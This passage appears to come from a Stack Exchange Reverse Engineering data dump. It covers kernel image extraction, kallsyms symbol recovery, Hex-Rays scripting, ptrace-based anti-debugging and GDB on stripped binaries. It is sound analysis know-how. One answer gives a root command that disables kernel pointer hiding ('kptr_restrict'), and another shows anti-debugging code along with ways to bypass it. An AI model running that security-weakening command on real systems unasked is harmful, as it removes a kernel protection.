src=&quot;https://i.stack.imgur.com/bS2Vz.png&quot; alt=&quot;010 Editor showing the zImage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that I tried to skip the first 64 Byte and then decompress the rest, to no avail. Investigating a bit more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you manage to get more information using this incomplete answer, please edit your question and I'll amend my answer once I notice your edit, to add more (hopefully useful) information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit x+2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, for the zImage in question it turns out &lt;a href=&quot;http://code.google.com/p/binwalk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;binwalk&lt;/code&gt;&lt;/a&gt;, mentioned in my original answer, can at least handle the file and outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12900           0x3264          gzip compressed data, from Unix, last modified: Mon Jul 23 13:41:37 2012, max compression&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lovely. Do let's run &lt;code&gt;dd&lt;/code&gt; to extract the &lt;code&gt;gzip&lt;/code&gt; stuff and then extract it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dd if=zImage-2.6.28.10-power51 of=extract.gz bs=12900 skip=1 &amp;amp;&amp;amp; gunzip extract.gz &amp;amp;&amp;amp; ls -l extract&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I extracted it, I ran &lt;code&gt;binwalk&lt;/code&gt; again after noticing that &lt;code&gt;file&lt;/code&gt; didn't yield a result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL         HEX             DESCRIPTION&#xA;-------------------------------------------------------------------------------------------------------&#xA;135456          0x21120         gzip compressed data, from Unix, last modified: Mon Jul 23 13:38:47 2012, max compression&#xA;973460          0xEDA94         ELF&#xA;1070320         0x1054F0        CramFS filesystem, big endian size 2126262976 CRC 0xdc0a0e1, edition 4040895977, 78662882 blocks, 271618533 files&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I don't want to  proceed now without further input from you. Just an example how it &lt;em&gt;could&lt;/em&gt; be investigated. One more thing &lt;code&gt;strings&lt;/code&gt; &lt;em&gt;does&lt;/em&gt; produce a list of symbols, but since I presume you want symbols and their addresses, I reckon there is more to be investigated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Further reading:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.simtec.co.uk/products/SWLINUX/files/booting_article.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this documentation&lt;/a&gt; to verify whether this indeed is an ARM kernel image in the format we expect/assume. In particular check the assumption that &lt;code&gt;0x016F2818&lt;/code&gt; can be found at offset &lt;code&gt;0x24&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=871989&amp;amp;page=20&quot; rel=&quot;nofollow noreferrer&quot;&gt;this forum entry&lt;/a&gt;, in particular the post by user fattire, which mentions&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There's a 64 byte header you have to cut off of uRamdisk/uRecRam:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;dd if=uRamdisk of=uRamdisk.cpio.gz bs=64 skip=1&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;gunzip uRamdisk.cpi.gz&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;cpio -i -F uRamdisk.cpio&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;which essentially implies that you have to expect an &lt;code&gt;initrd&lt;/code&gt; (hence the CPIO format) at offset 64. That is, the &quot;kernel image&quot; would actually turn out to be the old kernel format which embedded the &lt;code&gt;initrd&lt;/code&gt; (also see &lt;code&gt;mkimage&lt;/code&gt; man page under &quot;Create old legacy image&quot;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-04-25T01:43:56.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1927" PostTypeId="2" ParentId="1922" CreationDate="2013-04-25T04:41:53.490" Score="9" Body="&lt;p&gt;You mentioned that you do have a running kernel available.  It is possible to obtain symbol information from a running kernel by reading &lt;code&gt;/proc/kallsyms&lt;/code&gt;.  On newer distributions, this information is disabled by default for security reasons (all symbols will be displayed as 0x0 addresses), but you can manually enable it by running the following command as root:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/kptr_restrict&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've obtained the list of kernel symbols/address pairs, it should be easy to convert to any format desired, e.g. an IDA &lt;code&gt;.idc&lt;/code&gt; script for import.&lt;/p&gt;&#xA;" OwnerUserId="1313" LastEditorUserId="245" LastEditDate="2013-04-25T14:52:01.767" LastActivityDate="2013-04-25T14:52:01.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostTypeId="2" ParentId="1922" CreationDate="2013-04-25T04:48:13.483" Score="13" Body="&lt;p&gt;After decompressing and loading the kernel, you need to find a couple of tables that encode the compressed symbol table. These are (in the usual order they are placed in binary):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;kallsyms_addresses&lt;/code&gt; - a table of addresses to all public symbols in the kernel&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;kallsyms_num_syms&lt;/code&gt; - not a table but just an integer with total number of symbols (should match previous table)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;kallsyms_names&lt;/code&gt; - a list of length-prefixed byte arrays that encode indexes into the token table&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;kallsyms_token_table&lt;/code&gt; - a list of 256 zero-terminated tokens from which symbol names are built&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;kallsyms_token_index&lt;/code&gt; - 256 shorts pointing to the corresponding entry in &lt;code&gt;kallsyms_token_table&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They're not hard to find with some experience. A good way to find the first one is to look for several 0xC0008000 values in a row, because a typical kernel symbol table starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C0008000 T __init_begin&#xA;C0008000 T _sinittext&#xA;C0008000 T _stext&#xA;C0008000 T stext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After locating the tables the symbol recovery is trivial. I made a script for IDA that does it automatically, you can find it &lt;a href=&quot;http://www.hexblog.com/?p=130&quot;&gt;here&lt;/a&gt; (&lt;code&gt;kallsyms.py&lt;/code&gt; in the tools zip).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more the details of how it's implemented in the kernel, see &lt;code&gt;kernel/kallsyms.c&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-04-25T04:48:13.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostTypeId="1" AcceptedAnswerId="1932" CreationDate="2013-04-25T06:30:29.873" Score="9" ViewCount="6417" Body="&lt;p&gt;I want to use IDA with the Hex-Rays decompiler plugin as part of automated static analysis, possibly on a large number of files without opening each one and telling it to produce a C file individually.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to run IDA from the command line, and get the decompilation based on initial autoanalysis as output.  This way I can run it as part of &lt;a href=&quot;http://sourceforge.net/projects/mastiff/&quot;&gt;Mastiff&lt;/a&gt; or grep for certain functions in a set of binaries.   By my reading of &lt;a href=&quot;http://www.hexblog.com/?p=53&quot;&gt;On batch analysis&lt;/a&gt; from the Hex Blog, what I need is an IDA script that interacts with the decompiler plugin, but I can't figure out how to actually do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this leaves me with 2 subquestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How can I tell the Hex-Rays decompiler to &quot;Produce C file&quot; (decompile all functions) from a script?&lt;/li&gt;&#xA;&lt;li&gt;Does that script need to be IDC, or is IDAPython possible?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="283" LastEditorUserId="245" LastEditDate="2013-04-25T14:13:34.260" LastActivityDate="2016-05-19T11:35:07.313" Title="How can I control the Hex-Rays decompiler plugin from IDA with scripts?" Tags="|ida|ida-plugin|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1930" PostTypeId="1" AcceptedAnswerId="1931" CreationDate="2013-04-25T08:07:47.923" Score="22" ViewCount="18556" Body="&lt;p&gt;Under Linux it's possible to trace exactly the kernel system calls with &lt;code&gt;strace&lt;/code&gt;.&#xA;&lt;code&gt;ltrace&lt;/code&gt; can be used also to trace library calls.&#xA;I wonder if it's possible to detect if my executable is running under &lt;code&gt;strace&lt;/code&gt; or &lt;code&gt;ltrace&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the output of &lt;code&gt;strace&lt;/code&gt; and &lt;code&gt;ltrace&lt;/code&gt; for the &lt;code&gt;diff&lt;/code&gt; executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;strace&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strace diff&#xA;execve(&quot;/usr/bin/diff&quot;, [&quot;diff&quot;], [/* 43 vars */]) = 0&#xA;brk(0)                                  = 0x110a000&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f6000&#xA;access(&quot;/etc/ld.so.preload&quot;, R_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/etc/ld.so.cache&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=122500, ...}) = 0&#xA;mmap(NULL, 122500, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc13d8000&#xA;close(3)                                = 0&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/lib/x86_64-linux-gnu/librt.so.1&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0\340!\0\0\0\0\0\0&quot;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=31784, ...}) = 0&#xA;mmap(NULL, 2129016, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0fce000&#xA;mprotect(0x7fcbc0fd5000, 2093056, PROT_NONE) = 0&#xA;mmap(0x7fcbc11d4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7fcbc11d4000&#xA;close(3)                                = 0&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0\200\30\2\0\0\0\0\0&quot;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0755, st_size=1811160, ...}) = 0&#xA;mmap(NULL, 3925240, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc0c0f000&#xA;mprotect(0x7fcbc0dc4000, 2093056, PROT_NONE) = 0&#xA;mmap(0x7fcbc0fc3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b4000) = 0x7fcbc0fc3000&#xA;mmap(0x7fcbc0fc9000, 17656, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0fc9000&#xA;close(3)                                = 0&#xA;access(&quot;/etc/ld.so.nohwcap&quot;, F_OK)      = -1 ENOENT (No such file or directory)&#xA;open(&quot;/lib/x86_64-linux-gnu/libpthread.so.0&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;read(3, &quot;\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0&amp;gt;\0\1\0\0\0\200l\0\0\0\0\0\0&quot;..., 832) = 832&#xA;fstat(3, {st_mode=S_IFREG|0755, st_size=135398, ...}) = 0&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13d7000&#xA;mmap(NULL, 2212936, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcbc09f2000&#xA;mprotect(0x7fcbc0a0a000, 2093056, PROT_NONE) = 0&#xA;mmap(0x7fcbc0c09000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7fcbc0c09000&#xA;mmap(0x7fcbc0c0b000, 13384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcbc0c0b000&#xA;close(3)                                = 0&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f1000&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09f0000&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc09ef000&#xA;arch_prctl(ARCH_SET_FS, 0x7fcbc09f0700) = 0&#xA;mprotect(0x7fcbc0fc3000, 16384, PROT_READ) = 0&#xA;mprotect(0x7fcbc0c09000, 4096, PROT_READ) = 0&#xA;mprotect(0x7fcbc11d4000, 4096, PROT_READ) = 0&#xA;mprotect(0x61b000, 4096, PROT_READ)     = 0&#xA;mprotect(0x7fcbc13f8000, 4096, PROT_READ) = 0&#xA;munmap(0x7fcbc13d8000, 122500)          = 0&#xA;set_tid_address(0x7fcbc09f09d0)         = 32425&#xA;set_robust_list(0x7fcbc09f09e0, 0x18)   = 0&#xA;futex(0x7fff27e5992c, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7fcbc09f0700) = -1 EAGAIN (Resource temporarily unavailable)&#xA;rt_sigaction(SIGRTMIN, {0x7fcbc09f8750, [], SA_RESTORER|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0&#xA;rt_sigaction(SIGRT_1, {0x7fcbc09f87e0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fcbc0a01cb0}, NULL, 8) = 0&#xA;rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0&#xA;getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0&#xA;brk(0)                                  = 0x110a000&#xA;brk(0x112b000)                          = 0x112b000&#xA;open(&quot;/usr/lib/locale/locale-archive&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=7216624, ...}) = 0&#xA;mmap(NULL, 7216624, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcbc030d000&#xA;close(3)                                = 0&#xA;sigaltstack({ss_sp=0x61c5e0, ss_flags=0, ss_size=8192}, NULL) = 0&#xA;open(&quot;/usr/share/locale/locale.alias&quot;, O_RDONLY|O_CLOEXEC) = 3&#xA;fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0&#xA;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcbc13f5000&#xA;read(3, &quot;# Locale name alias data base.\n#&quot;..., 4096) = 2570&#xA;read(3, &quot;&quot;, 4096)                       = 0&#xA;close(3)                                = 0&#xA;munmap(0x7fcbc13f5000, 4096)            = 0&#xA;open(&quot;/usr/share/locale/en_US/LC_MESSAGES/diffutils.mo&quot;, O_RDONLY) = -1 ENOENT (No such file or directory)&#xA;open(&quot;/usr/share/locale/en/LC_MESSAGES/diffutils.mo&quot;, O_RDONLY) = -1 ENOENT (No such file or directory)&#xA;open(&quot;/usr/share/locale-langpack/en_US/LC_MESSAGES/diffutils.mo&quot;, O_RDONLY) = -1 ENOENT (No such file or directory)&#xA;open(&quot;/usr/share/locale-langpack/en/LC_MESSAGES/diffutils.mo&quot;, O_RDONLY) = -1 ENOENT (No such file or directory)&#xA;rt_sigaction(SIGSEGV, {0x40b3c0, [], SA_RESTORER|SA_STACK|SA_NODEFER|SA_RESETHAND|SA_SIGINFO, 0x7fcbc0c454a0}, NULL, 8) = 0&#xA;write(2, &quot;diff: &quot;, 6diff: )                   = 6&#xA;write(2, &quot;missing operand after `diff'&quot;, 28missing operand after `diff') = 28&#xA;write(2, &quot;\n&quot;, 1&#xA;)                       = 1&#xA;write(2, &quot;diff: &quot;, 6diff: )                   = 6&#xA;write(2, &quot;Try `diff --help' for more infor&quot;..., 39Try `diff --help' for more information.) = 39&#xA;write(2, &quot;\n&quot;, 1&#xA;)                       = 1&#xA;exit_group(2)                           = ?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ltrace&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ltrace diff&#xA;__libc_start_main(0x402310, 1, 0x7fff876fcf28, 0x4151d0, 0x415260 &amp;lt;unfinished ...&amp;gt;&#xA;strrchr(&quot;diff&quot;, '/')                                             = NULL&#xA;setlocale(6, &quot;&quot;)                                                 = &quot;en_US.UTF-8&quot;&#xA;bindtextdomain(&quot;diffutils&quot;, &quot;/usr/share/locale&quot;)                 = &quot;/usr/share/locale&quot;&#xA;textdomain(&quot;diffutils&quot;)                                          = &quot;diffutils&quot;&#xA;sigaltstack(0x7fff876fccd0, 0, 1, 0x736c6974756666, 3)           = 0&#xA;dcgettext(0, 0x4183d7, 5, -1, 3)                                 = 0x4183d7&#xA;dcgettext(0, 0x4183e5, 5, 0, 1)                                  = 0x4183e5&#xA;sigemptyset(0x7fff876fccf8)                                      = 0&#xA;sigaction(11, 0x7fff876fccf0, NULL)                              = 0&#xA;re_set_syntax(264966, 0x7fff876fcb88, 0, -1, 0)                  = 0&#xA;malloc(16)                                                       = 0x016e1160&#xA;memset(0x016e1160, '\000', 16)                                   = 0x016e1160&#xA;getopt_long(1, 0x7fff876fcf28, &quot;0123456789abBcC:dD:eEfF:hHiI:lL:&quot;..., 0x00417360, NULL) = -1&#xA;malloc(1)                                                        = 0x016e1180&#xA;dcgettext(0, 0x415598, 5, 8, 3)                                  = 0x415598&#xA;error(0, 0, 0x415598, 0x7fff876fd469, 1diff: missing operand after `diff'&#xA;)                         = 0&#xA;dcgettext(0, 0x415878, 5, 0, 0x7fad1793c700)                     = 0x415878&#xA;error(2, 0, 0x415878, 0x7fff876fd469, 1diff: Try `diff --help' for more information.&#xA; &amp;lt;unfinished ...&amp;gt;&#xA;+++ exited (status 2) +++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastActivityDate="2018-10-23T07:49:14.870" Title="Detecting tracing in Linux" Tags="|linux|anti-debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1931" PostTypeId="2" ParentId="1930" CreationDate="2013-04-25T08:46:12.760" Score="28" Body="&lt;p&gt;&lt;code&gt;ptrace&lt;/code&gt; can be detected by the fact that a process can only call &lt;code&gt;ptrace&lt;/code&gt; once.&#xA;if &lt;code&gt;ptrace()&lt;/code&gt; was already called by the &lt;code&gt;strace&lt;/code&gt; executable or a debugger, we can detect it in runtime.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;sys/ptrace.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) &#xA;    {&#xA;        printf(&quot;don't trace me !!\n&quot;);&#xA;        return 1;&#xA;    }&#xA;    // normal execution&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it's not hard to break this code. first, it's possible just to &lt;code&gt;NOP&lt;/code&gt; the &lt;code&gt;ptrace()&lt;/code&gt; call.&#xA;Second, it's possible to replace &lt;code&gt;ptrace()&lt;/code&gt; call with our own &lt;code&gt;ptrace()&lt;/code&gt; call using &lt;code&gt;LD_PRELOAD&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="245" LastEditDate="2018-10-23T07:49:14.870" LastActivityDate="2018-10-23T07:49:14.870" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="1932" PostTypeId="2" ParentId="1929" CreationDate="2013-04-25T09:30:59.853" Score="6" Body="&lt;p&gt;[Back in 2013] the decompiler did not have a scripting API. So you had these choices:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hexblog.com/?p=126&quot; rel=&quot;nofollow&quot;&gt;Add necessary functions to IDC&lt;/a&gt; using a native plugin that calls the decompiler API.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;code&gt;ctypes&lt;/code&gt; or similar to call the C++ API directly from Python. I posted a small PoC script doing it to the Hex-Rays forum a couple years ago.&lt;/li&gt;&#xA;&lt;li&gt;If you just want to have the decompiled text, you can use &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/batch.shtml&quot; rel=&quot;nofollow&quot;&gt;the command line option&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/6.6/index.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA 6.6 (released in June 2014)&lt;/a&gt; added official Python bindings for the decompiler, so it now can be scripted from Python. For sample code, see &lt;code&gt;vds*.py&lt;/code&gt; scripts in the &lt;a href=&quot;https://github.com/idapython/src/tree/master/examples&quot; rel=&quot;nofollow&quot;&gt;IDAPython repository&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2016-05-19T11:35:07.313" LastActivityDate="2016-05-19T11:35:07.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostTypeId="2" ParentId="1817" CreationDate="2013-04-26T14:40:06.313" Score="15" Body="&lt;p&gt;On of my favorite alternatives to IDA is &lt;a href=&quot;http://hte.sourceforge.net/&quot;&gt;HT Editor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used it on x86 and x64 binaries and java class files. I think it has support for many other architectures/bytecode. It is cross platform and has some nice features. &lt;/p&gt;&#xA;" OwnerUserId="1854" LastActivityDate="2013-04-26T14:40:06.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostTypeId="1" AcceptedAnswerId="1939" CreationDate="2013-04-26T18:36:54.600" Score="18" ViewCount="7999" Body="&lt;p&gt;I posted this a while back on &lt;a href=&quot;https://stackoverflow.com/questions/12513901/is-it-possible-to-get-python-bytecode-without-using-co-code&quot;&gt;stackoverflow&lt;/a&gt; (too old to migrate though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I am in the python interpreter and define a function as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def h(a):&#xA;  return a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I want to look at the bytecode (not a disassembly using dis), I can typically use &lt;code&gt;h.func_code.co_code&lt;/code&gt;. Is there any other way to look at the bytecode? This particular application was packaged with a custom python interpreter (using py2exe probably) which removed access to co_code. I can't just look at the pyc file as they are encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the interpreter, if I just type &lt;code&gt;h&lt;/code&gt; without making it a function call, I get the address of the function. Can I use that address to get the bytecode? Is there some other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. My original goal in doing this at the time was to use pyREtic (which calls co_code) to decompile. Since it called co_code, it would fail to work. I figured out one way to do it which I will post as an answer eventually. Wanted to see what others have done or come up with.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-04-27T19:21:51.513" Title="Is it possible to get python bytecode without using co_code?" Tags="|python|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1935" PostTypeId="1" AcceptedAnswerId="1936" CreationDate="2013-04-27T03:13:34.493" Score="123" ViewCount="98882" Body="&lt;p&gt;I have GDB but the binary I want to reverse engineer dynamically has no symbols. That is, when I run the &lt;a href=&quot;https://www.man7.org/linux/man-pages/man1/file.1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;file&lt;/code&gt;&lt;/a&gt; utility it shows me &lt;strong&gt;stripped&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What options do I have if the environment in which this runs doesn't allow a remote IDA Pro instance to connect to &lt;code&gt;gdbserver&lt;/code&gt;? In short: the environment you have is limited in what it allows you to do, but you do have trusty old &lt;code&gt;gdb&lt;/code&gt; and a binary to reverse engineer.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="35171" LastEditDate="2023-05-04T11:56:41.880" LastActivityDate="2023-05-04T11:56:41.880" Title="How to handle stripped binaries with GDB? No source, no symbols and GDB only shows addresses?" Tags="|tools|dynamic-analysis|linux|debuggers|gdb|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1936" PostTypeId="2" ParentId="1935" CreationDate="2013-04-27T03:13:34.493" Score="196" Body="&lt;h1&gt;Conventions used plus preliminary remarks&lt;/h1&gt;&#xA;&lt;p&gt;I am trimming the output of GDB for brevity since it usually shows the copyright and other information at the beginning of every session (use &lt;code&gt;-q&lt;/code&gt; to suppress). When I reproduce the output I'll start at the first &lt;code&gt;(gdb)&lt;/code&gt; prompt line, or in case or auto-executed commands from the first genuine output line.&lt;/p&gt;&#xA;&lt;p&gt;In order to distinguish commands entered at the GDB prompt, these will have a leading &lt;code&gt;(gdb) &lt;/code&gt; just like in the real world. For shell command this will either be no prefix at all or &lt;code&gt;$ &lt;/code&gt; as it appears to be the convention on most unixoid systems.&lt;/p&gt;&#xA;&lt;p&gt;When I use a particular command, such as &lt;code&gt;vim&lt;/code&gt; as my editor, you are free to use your own favorite editor of course. Be it &lt;a href=&quot;http://xkcd.com/378/&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;emacs&lt;/code&gt;&lt;/a&gt; or &lt;code&gt;nano&lt;/code&gt;, I won't judge ya ;)&lt;/p&gt;&#xA;&lt;h1&gt;Getting started&lt;/h1&gt;&#xA;&lt;p&gt;This section is about setting up your &lt;code&gt;gdb&lt;/code&gt; environment and starting the process. I'll also include a few tidbits for the complete newcomers.&lt;/p&gt;&#xA;&lt;h2&gt;Tricks you should know&lt;/h2&gt;&#xA;&lt;p&gt;GDB has a nice prompt at which your cursor will stop after the program breaks or whenever you are stepping or some such.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pressing &lt;kbd&gt;RETURN&lt;/kbd&gt; (aka &lt;kbd&gt;ENTER&lt;/kbd&gt;) after you ran a GDB command will run the same command again. This is useful when you are stepping through code with &lt;code&gt;step&lt;/code&gt; or &lt;code&gt;next&lt;/code&gt; and simply want to continue one by one.&lt;/li&gt;&#xA;&lt;li&gt;Commands can be abbreviated as long as they are unambiguous. For some oft used commands a particular shorthand exists that takes precedence despite ambiguity:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;b&lt;/code&gt; for &lt;code&gt;break&lt;/code&gt; (despite &lt;code&gt;bt&lt;/code&gt; and &lt;code&gt;backtrace&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;c&lt;/code&gt; or &lt;code&gt;cont&lt;/code&gt; for &lt;code&gt;continue&lt;/code&gt; (despite &lt;code&gt;catch&lt;/code&gt;, &lt;code&gt;call&lt;/code&gt; and so on)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;n&lt;/code&gt; for &lt;code&gt;next&lt;/code&gt; (despite &lt;code&gt;ni&lt;/code&gt; and 